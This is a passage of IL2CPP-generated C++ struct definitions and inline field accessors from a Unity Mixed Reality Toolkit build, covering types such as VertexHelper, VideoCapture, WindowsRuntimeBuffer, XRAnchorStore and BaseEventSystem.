get_address_of_m_Indices_8() { return &___m_Indices_8; } inline void set_m_Indices_8(List_1_t260B41F956D673396C33A4CF94E8D6C4389EACB7 * value) { ___m_Indices_8 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Indices_8), (void*)value); } inline static int32_t get_offset_of_m_ListsInitalized_11() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_ListsInitalized_11)); } inline bool get_m_ListsInitalized_11() const { return ___m_ListsInitalized_11; } inline bool* get_address_of_m_ListsInitalized_11() { return &___m_ListsInitalized_11; } inline void set_m_ListsInitalized_11(bool value) { ___m_ListsInitalized_11 = value; } }; struct VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55_StaticFields { public: // UnityEngine.Vector4 UnityEngine.UI.VertexHelper::s_DefaultTangent Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 ___s_DefaultTangent_9; // UnityEngine.Vector3 UnityEngine.UI.VertexHelper::s_DefaultNormal Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___s_DefaultNormal_10; public: inline static int32_t get_offset_of_s_DefaultTangent_9() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55_StaticFields, ___s_DefaultTangent_9)); } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 get_s_DefaultTangent_9() const { return ___s_DefaultTangent_9; } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 * get_address_of_s_DefaultTangent_9() { return &___s_DefaultTangent_9; } inline void set_s_DefaultTangent_9(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 value) { ___s_DefaultTangent_9 = value; } inline static int32_t get_offset_of_s_DefaultNormal_10() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55_StaticFields, ___s_DefaultNormal_10)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_s_DefaultNormal_10() const { return ___s_DefaultNormal_10; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_s_DefaultNormal_10() { return &___s_DefaultNormal_10; } inline void set_s_DefaultNormal_10(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___s_DefaultNormal_10 = value; } }; // UnityEngine.Windows.WebCam.VideoCapture struct VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91 : public RuntimeObject { public: // System.IntPtr UnityEngine.Windows.WebCam.VideoCapture::m_NativePtr intptr_t ___m_NativePtr_0; public: inline static int32_t get_offset_of_m_NativePtr_0() { return static_cast(offsetof(VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91, ___m_NativePtr_0)); } inline intptr_t get_m_NativePtr_0() const { return ___m_NativePtr_0; } inline intptr_t* get_address_of_m_NativePtr_0() { return &___m_NativePtr_0; } inline void set_m_NativePtr_0(intptr_t value) { ___m_NativePtr_0 = value; } }; struct VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91_StaticFields { public: // System.Int64 UnityEngine.Windows.WebCam.VideoCapture::HR_SUCCESS int64_t ___HR_SUCCESS_1; public: inline static int32_t get_offset_of_HR_SUCCESS_1() { return static_cast(offsetof(VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91_StaticFields, ___HR_SUCCESS_1)); } inline int64_t get_HR_SUCCESS_1() const { return ___HR_SUCCESS_1; } inline int64_t* get_address_of_HR_SUCCESS_1() { return &___HR_SUCCESS_1; } inline void set_HR_SUCCESS_1(int64_t value) { ___HR_SUCCESS_1 = value; } }; // Native definition for P/Invoke marshalling of UnityEngine.Windows.WebCam.VideoCapture struct VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91_marshaled_pinvoke { intptr_t ___m_NativePtr_0; }; // Native definition for COM marshalling of UnityEngine.Windows.WebCam.VideoCapture struct VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91_marshaled_com { intptr_t ___m_NativePtr_0; }; // Microsoft.MixedReality.Toolkit.Utilities.VolumeType struct VolumeType_t2CE84905D8382BA624C83B196C7071951FB80866 { public: // System.Int32 Microsoft.MixedReality.Toolkit.Utilities.VolumeType::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(VolumeType_t2CE84905D8382BA624C83B196C7071951FB80866, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // System.IO.WinRtToNetFxStreamAdapter struct WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D : public Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB { public: // System.Byte[] System.IO.WinRtToNetFxStreamAdapter::_oneByteBuffer ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726* ____oneByteBuffer_4; // System.Boolean System.IO.WinRtToNetFxStreamAdapter::_leaveUnderlyingStreamOpen bool ____leaveUnderlyingStreamOpen_5; // System.Object System.IO.WinRtToNetFxStreamAdapter::_winRtStream RuntimeObject * ____winRtStream_6; // System.Boolean System.IO.WinRtToNetFxStreamAdapter::_canRead bool ____canRead_7; // System.Boolean System.IO.WinRtToNetFxStreamAdapter::_canWrite bool ____canWrite_8; // System.Boolean System.IO.WinRtToNetFxStreamAdapter::_canSeek bool ____canSeek_9; public: inline static int32_t get_offset_of__oneByteBuffer_4() { return static_cast(offsetof(WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D, ____oneByteBuffer_4)); } inline ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726* get__oneByteBuffer_4() const { return ____oneByteBuffer_4; } inline ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726** get_address_of__oneByteBuffer_4() { return &____oneByteBuffer_4; } inline void set__oneByteBuffer_4(ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726* value) { ____oneByteBuffer_4 = value; Il2CppCodeGenWriteBarrier((void**)(&____oneByteBuffer_4), (void*)value); } inline static int32_t get_offset_of__leaveUnderlyingStreamOpen_5() { return static_cast(offsetof(WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D, ____leaveUnderlyingStreamOpen_5)); } inline bool get__leaveUnderlyingStreamOpen_5() const { return ____leaveUnderlyingStreamOpen_5; } inline bool* get_address_of__leaveUnderlyingStreamOpen_5() { return &____leaveUnderlyingStreamOpen_5; } inline void set__leaveUnderlyingStreamOpen_5(bool value) { ____leaveUnderlyingStreamOpen_5 = value; } inline static int32_t get_offset_of__winRtStream_6() { return static_cast(offsetof(WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D, ____winRtStream_6)); } inline RuntimeObject * get__winRtStream_6() const { return ____winRtStream_6; } inline RuntimeObject ** get_address_of__winRtStream_6() { return &____winRtStream_6; } inline void set__winRtStream_6(RuntimeObject * value) { ____winRtStream_6 = value; Il2CppCodeGenWriteBarrier((void**)(&____winRtStream_6), (void*)value); } inline static int32_t get_offset_of__canRead_7() { return static_cast(offsetof(WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D, ____canRead_7)); } inline bool get__canRead_7() const { return ____canRead_7; } inline bool* get_address_of__canRead_7() { return &____canRead_7; } inline void set__canRead_7(bool value) { ____canRead_7 = value; } inline static int32_t get_offset_of__canWrite_8() { return static_cast(offsetof(WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D, ____canWrite_8)); } inline bool get__canWrite_8() const { return ____canWrite_8; } inline bool* get_address_of__canWrite_8() { return &____canWrite_8; } inline void set__canWrite_8(bool value) { ____canWrite_8 = value; } inline static int32_t get_offset_of__canSeek_9() { return static_cast(offsetof(WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D, ____canSeek_9)); } inline bool get__canSeek_9() const { return ____canSeek_9; } inline bool* get_address_of__canSeek_9() { return &____canSeek_9; } inline void set__canSeek_9(bool value) { ____canSeek_9 = value; } }; // System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer struct WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 : public RuntimeObject { public: // System.Byte[] System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::_data ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726* ____data_1; // System.Int32 System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::_dataStartOffs int32_t ____dataStartOffs_2; // System.Int32 System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::_usefulDataLength int32_t ____usefulDataLength_3; // System.Int32 System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::_maxDataCapacity int32_t ____maxDataCapacity_4; // System.Runtime.InteropServices.GCHandle System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::_pinHandle GCHandle_t757890BC4BBBEDE5A623A3C110013EDD24613603 ____pinHandle_5; // System.IntPtr System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::_dataPtr intptr_t ____dataPtr_6; public: inline static int32_t get_offset_of__data_1() { return static_cast(offsetof(WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129, ____data_1)); } inline ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726* get__data_1() const { return ____data_1; } inline ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726** get_address_of__data_1() { return &____data_1; } inline void set__data_1(ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726* value) { ____data_1 = value; Il2CppCodeGenWriteBarrier((void**)(&____data_1), (void*)value); } inline static int32_t get_offset_of__dataStartOffs_2() { return static_cast(offsetof(WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129, ____dataStartOffs_2)); } inline int32_t get__dataStartOffs_2() const { return ____dataStartOffs_2; } inline int32_t* get_address_of__dataStartOffs_2() { return &____dataStartOffs_2; } inline void set__dataStartOffs_2(int32_t value) { ____dataStartOffs_2 = value; } inline static int32_t get_offset_of__usefulDataLength_3() { return static_cast(offsetof(WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129, ____usefulDataLength_3)); } inline int32_t get__usefulDataLength_3() const { return ____usefulDataLength_3; } inline int32_t* get_address_of__usefulDataLength_3() { return &____usefulDataLength_3; } inline void set__usefulDataLength_3(int32_t value) { ____usefulDataLength_3 = value; } inline static int32_t get_offset_of__maxDataCapacity_4() { return static_cast(offsetof(WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129, ____maxDataCapacity_4)); } inline int32_t get__maxDataCapacity_4() const { return ____maxDataCapacity_4; } inline int32_t* get_address_of__maxDataCapacity_4() { return &____maxDataCapacity_4; } inline void set__maxDataCapacity_4(int32_t value) { ____maxDataCapacity_4 = value; } inline static int32_t get_offset_of__pinHandle_5() { return static_cast(offsetof(WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129, ____pinHandle_5)); } inline GCHandle_t757890BC4BBBEDE5A623A3C110013EDD24613603 get__pinHandle_5() const { return ____pinHandle_5; } inline GCHandle_t757890BC4BBBEDE5A623A3C110013EDD24613603 * get_address_of__pinHandle_5() { return &____pinHandle_5; } inline void set__pinHandle_5(GCHandle_t757890BC4BBBEDE5A623A3C110013EDD24613603 value) { ____pinHandle_5 = value; } inline static int32_t get_offset_of__dataPtr_6() { return static_cast(offsetof(WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129, ____dataPtr_6)); } inline intptr_t get__dataPtr_6() const { return ____dataPtr_6; } inline intptr_t* get_address_of__dataPtr_6() { return &____dataPtr_6; } inline void set__dataPtr_6(intptr_t value) { ____dataPtr_6 = value; } }; struct WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129_ThreadStaticFields { public: // System.Runtime.InteropServices.IMarshal System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::s_winRtMarshalProxy RuntimeObject* ___s_winRtMarshalProxy_0; public: inline static int32_t get_offset_of_s_winRtMarshalProxy_0() { return static_cast(offsetof(WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129_ThreadStaticFields, ___s_winRtMarshalProxy_0)); } inline RuntimeObject* get_s_winRtMarshalProxy_0() const { return ___s_winRtMarshalProxy_0; } inline RuntimeObject** get_address_of_s_winRtMarshalProxy_0() { return &___s_winRtMarshalProxy_0; } inline void set_s_winRtMarshalProxy_0(RuntimeObject* value) { ___s_winRtMarshalProxy_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___s_winRtMarshalProxy_0), (void*)value); } }; // UnityEngine.XR.WindowsMR.XRAnchorStore struct XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E : public RuntimeObject { public: // System.Boolean UnityEngine.XR.WindowsMR.XRAnchorStore::disposed bool ___disposed_1; // System.IntPtr UnityEngine.XR.WindowsMR.XRAnchorStore::storePtr intptr_t ___storePtr_2; // System.Collections.Generic.List`1 UnityEngine.XR.WindowsMR.XRAnchorStore::persistedNames List_1_t6C9F81EDBF0F4A31A9B0DA372D2EF34BDA3A1AF3 * ___persistedNames_3; public: inline static int32_t get_offset_of_disposed_1() { return static_cast(offsetof(XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E, ___disposed_1)); } inline bool get_disposed_1() const { return ___disposed_1; } inline bool* get_address_of_disposed_1() { return &___disposed_1; } inline void set_disposed_1(bool value) { ___disposed_1 = value; } inline static int32_t get_offset_of_storePtr_2() { return static_cast(offsetof(XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E, ___storePtr_2)); } inline intptr_t get_storePtr_2() const { return ___storePtr_2; } inline intptr_t* get_address_of_storePtr_2() { return &___storePtr_2; } inline void set_storePtr_2(intptr_t value) { ___storePtr_2 = value; } inline static int32_t get_offset_of_persistedNames_3() { return static_cast(offsetof(XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E, ___persistedNames_3)); } inline List_1_t6C9F81EDBF0F4A31A9B0DA372D2EF34BDA3A1AF3 * get_persistedNames_3() const { return ___persistedNames_3; } inline List_1_t6C9F81EDBF0F4A31A9B0DA372D2EF34BDA3A1AF3 ** get_address_of_persistedNames_3() { return &___persistedNames_3; } inline void set_persistedNames_3(List_1_t6C9F81EDBF0F4A31A9B0DA372D2EF34BDA3A1AF3 * value) { ___persistedNames_3 = value; Il2CppCodeGenWriteBarrier((void**)(&___persistedNames_3), (void*)value); } }; struct XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E_StaticFields { public: // UnityEngine.XR.ARSubsystems.TrackableId UnityEngine.XR.WindowsMR.XRAnchorStore::defaultId TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B ___defaultId_0; public: inline static int32_t get_offset_of_defaultId_0() { return static_cast(offsetof(XRAnchorStore_t3B551351D373C269350F0CA7DFBFF7D708449F2E_StaticFields, ___defaultId_0)); } inline TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B get_defaultId_0() const { return ___defaultId_0; } inline TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B * get_address_of_defaultId_0() { return &___defaultId_0; } inline void set_defaultId_0(TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B value) { ___defaultId_0 = value; } }; // System.Diagnostics.Tracing.ActivityFilter/d__7 struct U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491 : public RuntimeObject { public: // System.Int32 System.Diagnostics.Tracing.ActivityFilter/d__7::<>1__state int32_t ___U3CU3E1__state_0; // System.Tuple`2 System.Diagnostics.Tracing.ActivityFilter/d__7::<>2__current Tuple_2_t9780D2A61D8DBBB60BF3E0DEDBE022E5856BD800 * ___U3CU3E2__current_1; // System.Int32 System.Diagnostics.Tracing.ActivityFilter/d__7::<>l__initialThreadId int32_t ___U3CU3El__initialThreadId_2; // System.Diagnostics.Tracing.ActivityFilter System.Diagnostics.Tracing.ActivityFilter/d__7::<>4__this ActivityFilter_tDE324191EED4A666088536472641E58C3BC81385 * ___U3CU3E4__this_3; // System.Guid System.Diagnostics.Tracing.ActivityFilter/d__7::sourceGuid Guid_t ___sourceGuid_4; // System.Guid System.Diagnostics.Tracing.ActivityFilter/d__7::<>3__sourceGuid Guid_t ___U3CU3E3__sourceGuid_5; // System.Diagnostics.Tracing.ActivityFilter System.Diagnostics.Tracing.ActivityFilter/d__7::5__1 ActivityFilter_tDE324191EED4A666088536472641E58C3BC81385 * ___U3CafU3E5__1_6; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491, ___U3CU3E2__current_1)); } inline Tuple_2_t9780D2A61D8DBBB60BF3E0DEDBE022E5856BD800 * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline Tuple_2_t9780D2A61D8DBBB60BF3E0DEDBE022E5856BD800 ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(Tuple_2_t9780D2A61D8DBBB60BF3E0DEDBE022E5856BD800 * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_U3CU3El__initialThreadId_2() { return static_cast(offsetof(U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491, ___U3CU3El__initialThreadId_2)); } inline int32_t get_U3CU3El__initialThreadId_2() const { return ___U3CU3El__initialThreadId_2; } inline int32_t* get_address_of_U3CU3El__initialThreadId_2() { return &___U3CU3El__initialThreadId_2; } inline void set_U3CU3El__initialThreadId_2(int32_t value) { ___U3CU3El__initialThreadId_2 = value; } inline static int32_t get_offset_of_U3CU3E4__this_3() { return static_cast(offsetof(U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491, ___U3CU3E4__this_3)); } inline ActivityFilter_tDE324191EED4A666088536472641E58C3BC81385 * get_U3CU3E4__this_3() const { return ___U3CU3E4__this_3; } inline ActivityFilter_tDE324191EED4A666088536472641E58C3BC81385 ** get_address_of_U3CU3E4__this_3() { return &___U3CU3E4__this_3; } inline void set_U3CU3E4__this_3(ActivityFilter_tDE324191EED4A666088536472641E58C3BC81385 * value) { ___U3CU3E4__this_3 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E4__this_3), (void*)value); } inline static int32_t get_offset_of_sourceGuid_4() { return static_cast(offsetof(U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491, ___sourceGuid_4)); } inline Guid_t get_sourceGuid_4() const { return ___sourceGuid_4; } inline Guid_t * get_address_of_sourceGuid_4() { return &___sourceGuid_4; } inline void set_sourceGuid_4(Guid_t value) { ___sourceGuid_4 = value; } inline static int32_t get_offset_of_U3CU3E3__sourceGuid_5() { return static_cast(offsetof(U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491, ___U3CU3E3__sourceGuid_5)); } inline Guid_t get_U3CU3E3__sourceGuid_5() const { return ___U3CU3E3__sourceGuid_5; } inline Guid_t * get_address_of_U3CU3E3__sourceGuid_5() { return &___U3CU3E3__sourceGuid_5; } inline void set_U3CU3E3__sourceGuid_5(Guid_t value) { ___U3CU3E3__sourceGuid_5 = value; } inline static int32_t get_offset_of_U3CafU3E5__1_6() { return static_cast(offsetof(U3CGetFilterAsTupleU3Ed__7_t8130DC191707A022A6BE7222B5321AB979E5A491, ___U3CafU3E5__1_6)); } inline ActivityFilter_tDE324191EED4A666088536472641E58C3BC81385 * get_U3CafU3E5__1_6() const { return ___U3CafU3E5__1_6; } inline ActivityFilter_tDE324191EED4A666088536472641E58C3BC81385 ** get_address_of_U3CafU3E5__1_6() { return &___U3CafU3E5__1_6; } inline void set_U3CafU3E5__1_6(ActivityFilter_tDE324191EED4A666088536472641E58C3BC81385 * value) { ___U3CafU3E5__1_6 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CafU3E5__1_6), (void*)value); } }; // Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver/ObserverState struct ObserverState_t86038BE67C109C89BB6875378F7EA9D60AA4133F { public: // System.Int32 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver/ObserverState::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(ObserverState_t86038BE67C109C89BB6875378F7EA9D60AA4133F, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // Microsoft.MixedReality.Toolkit.BaseDataProvider`1 struct BaseDataProvider_1_tC0017357CA75C522AD4D10BECAF035491FA45934 : public BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8 { public: // Microsoft.MixedReality.Toolkit.IMixedRealityServiceRegistrar Microsoft.MixedReality.Toolkit.BaseDataProvider`1::k__BackingField RuntimeObject* ___U3CRegistrarU3Ek__BackingField_12; // T Microsoft.MixedReality.Toolkit.BaseDataProvider`1::k__BackingField RuntimeObject* ___U3CServiceU3Ek__BackingField_13; public: inline static int32_t get_offset_of_U3CRegistrarU3Ek__BackingField_12() { return static_cast(offsetof(BaseDataProvider_1_tC0017357CA75C522AD4D10BECAF035491FA45934, ___U3CRegistrarU3Ek__BackingField_12)); } inline RuntimeObject* get_U3CRegistrarU3Ek__BackingField_12() const { return ___U3CRegistrarU3Ek__BackingField_12; } inline RuntimeObject** get_address_of_U3CRegistrarU3Ek__BackingField_12() { return &___U3CRegistrarU3Ek__BackingField_12; } inline void set_U3CRegistrarU3Ek__BackingField_12(RuntimeObject* value) { ___U3CRegistrarU3Ek__BackingField_12 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CRegistrarU3Ek__BackingField_12), (void*)value); } inline static int32_t get_offset_of_U3CServiceU3Ek__BackingField_13() { return static_cast(offsetof(BaseDataProvider_1_tC0017357CA75C522AD4D10BECAF035491FA45934, ___U3CServiceU3Ek__BackingField_13)); } inline RuntimeObject* get_U3CServiceU3Ek__BackingField_13() const { return ___U3CServiceU3Ek__BackingField_13; } inline RuntimeObject** get_address_of_U3CServiceU3Ek__BackingField_13() { return &___U3CServiceU3Ek__BackingField_13; } inline void set_U3CServiceU3Ek__BackingField_13(RuntimeObject* value) { ___U3CServiceU3Ek__BackingField_13 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CServiceU3Ek__BackingField_13), (void*)value); } }; // Microsoft.MixedReality.Toolkit.BaseDataProvider`1 struct BaseDataProvider_1_tEC3109DD7330EBFBD10659E4D839217213171929 : public BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8 { public: // Microsoft.MixedReality.Toolkit.IMixedRealityServiceRegistrar Microsoft.MixedReality.Toolkit.BaseDataProvider`1::k__BackingField RuntimeObject* ___U3CRegistrarU3Ek__BackingField_12; // T Microsoft.MixedReality.Toolkit.BaseDataProvider`1::k__BackingField RuntimeObject* ___U3CServiceU3Ek__BackingField_13; public: inline static int32_t get_offset_of_U3CRegistrarU3Ek__BackingField_12() { return static_cast(offsetof(BaseDataProvider_1_tEC3109DD7330EBFBD10659E4D839217213171929, ___U3CRegistrarU3Ek__BackingField_12)); } inline RuntimeObject* get_U3CRegistrarU3Ek__BackingField_12() const { return ___U3CRegistrarU3Ek__BackingField_12; } inline RuntimeObject** get_address_of_U3CRegistrarU3Ek__BackingField_12() { return &___U3CRegistrarU3Ek__BackingField_12; } inline void set_U3CRegistrarU3Ek__BackingField_12(RuntimeObject* value) { ___U3CRegistrarU3Ek__BackingField_12 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CRegistrarU3Ek__BackingField_12), (void*)value); } inline static int32_t get_offset_of_U3CServiceU3Ek__BackingField_13() { return static_cast(offsetof(BaseDataProvider_1_tEC3109DD7330EBFBD10659E4D839217213171929, ___U3CServiceU3Ek__BackingField_13)); } inline RuntimeObject* get_U3CServiceU3Ek__BackingField_13() const { return ___U3CServiceU3Ek__BackingField_13; } inline RuntimeObject** get_address_of_U3CServiceU3Ek__BackingField_13() { return &___U3CServiceU3Ek__BackingField_13; } inline void set_U3CServiceU3Ek__BackingField_13(RuntimeObject* value) { ___U3CServiceU3Ek__BackingField_13 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CServiceU3Ek__BackingField_13), (void*)value); } }; // Microsoft.MixedReality.Toolkit.BaseDataProvider`1 struct BaseDataProvider_1_t7E9A9AAEB867FA4FD304C47C3F2A4F4540D82FBA : public BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8 { public: // Microsoft.MixedReality.Toolkit.IMixedRealityServiceRegistrar Microsoft.MixedReality.Toolkit.BaseDataProvider`1::k__BackingField RuntimeObject* ___U3CRegistrarU3Ek__BackingField_12; // T Microsoft.MixedReality.Toolkit.BaseDataProvider`1::k__BackingField RuntimeObject* ___U3CServiceU3Ek__BackingField_13; public: inline static int32_t get_offset_of_U3CRegistrarU3Ek__BackingField_12() { return static_cast(offsetof(BaseDataProvider_1_t7E9A9AAEB867FA4FD304C47C3F2A4F4540D82FBA, ___U3CRegistrarU3Ek__BackingField_12)); } inline RuntimeObject* get_U3CRegistrarU3Ek__BackingField_12() const { return ___U3CRegistrarU3Ek__BackingField_12; } inline RuntimeObject** get_address_of_U3CRegistrarU3Ek__BackingField_12() { return &___U3CRegistrarU3Ek__BackingField_12; } inline void set_U3CRegistrarU3Ek__BackingField_12(RuntimeObject* value) { ___U3CRegistrarU3Ek__BackingField_12 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CRegistrarU3Ek__BackingField_12), (void*)value); } inline static int32_t get_offset_of_U3CServiceU3Ek__BackingField_13() { return static_cast(offsetof(BaseDataProvider_1_t7E9A9AAEB867FA4FD304C47C3F2A4F4540D82FBA, ___U3CServiceU3Ek__BackingField_13)); } inline RuntimeObject* get_U3CServiceU3Ek__BackingField_13() const { return ___U3CServiceU3Ek__BackingField_13; } inline RuntimeObject** get_address_of_U3CServiceU3Ek__BackingField_13() { return &___U3CServiceU3Ek__BackingField_13; } inline void set_U3CServiceU3Ek__BackingField_13(RuntimeObject* value) { ___U3CServiceU3Ek__BackingField_13 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CServiceU3Ek__BackingField_13), (void*)value); } }; // Microsoft.MixedReality.Toolkit.BaseEventSystem struct BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4 : public BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8 { public: // System.Int32 Microsoft.MixedReality.Toolkit.BaseEventSystem::eventExecutionDepth int32_t ___eventExecutionDepth_13; // System.Type Microsoft.MixedReality.Toolkit.BaseEventSystem::eventSystemHandlerType Type_t * ___eventSystemHandlerType_14; // System.Collections.Generic.List`1> Microsoft.MixedReality.Toolkit.BaseEventSystem::postponedActions List_1_tA13D401EC270D24A0D7662CA0E55BD0EF020D215 * ___postponedActions_15; // System.Collections.Generic.List`1> Microsoft.MixedReality.Toolkit.BaseEventSystem::postponedObjectActions List_1_t8473DB386AC0B94DD5FF2E16A7570939FC4C15F9 * ___postponedObjectActions_16; // System.Collections.Generic.Dictionary`2> Microsoft.MixedReality.Toolkit.BaseEventSystem::k__BackingField Dictionary_2_tEB7DD469D67D40F77F686DD4BC38E8ED993B35A9 * ___U3CEventHandlersByTypeU3Ek__BackingField_17; // System.Collections.Generic.List`1 Microsoft.MixedReality.Toolkit.BaseEventSystem::k__BackingField List_1_t6D0A10F47F3440798295D2FFFC6D016477AF38E5 * ___U3CEventListenersU3Ek__BackingField_18; public: inline static int32_t get_offset_of_eventExecutionDepth_13() { return static_cast(offsetof(BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4, ___eventExecutionDepth_13)); } inline int32_t get_eventExecutionDepth_13() const { return ___eventExecutionDepth_13; } inline int32_t* get_address_of_eventExecutionDepth_13() { return &___eventExecutionDepth_13; } inline void set_eventExecutionDepth_13(int32_t value) { ___eventExecutionDepth_13 = value; } inline static int32_t get_offset_of_eventSystemHandlerType_14() { return static_cast(offsetof(BaseEventSystem_tE752AD816D052C473C14C507B45CF3568DD18FE4, ___eventSystemHandlerType_14)); } inline Type_t * get_eventSystemHandlerType_14() const { return ___eventSystemHandlerType_14; } inline Type_t ** get_address_of_eventSystemHandlerType_14() { return &___eventSystemHandlerType_14; } inline void set_eventSystemHandlerType_14(Type_t * value) { ___eventSystemHandlerType_14 = value; Il2CppCodeGenWriteBarrier((void**)(&___eventSystemHandlerType_14), (void*)value); } inline static int32_t 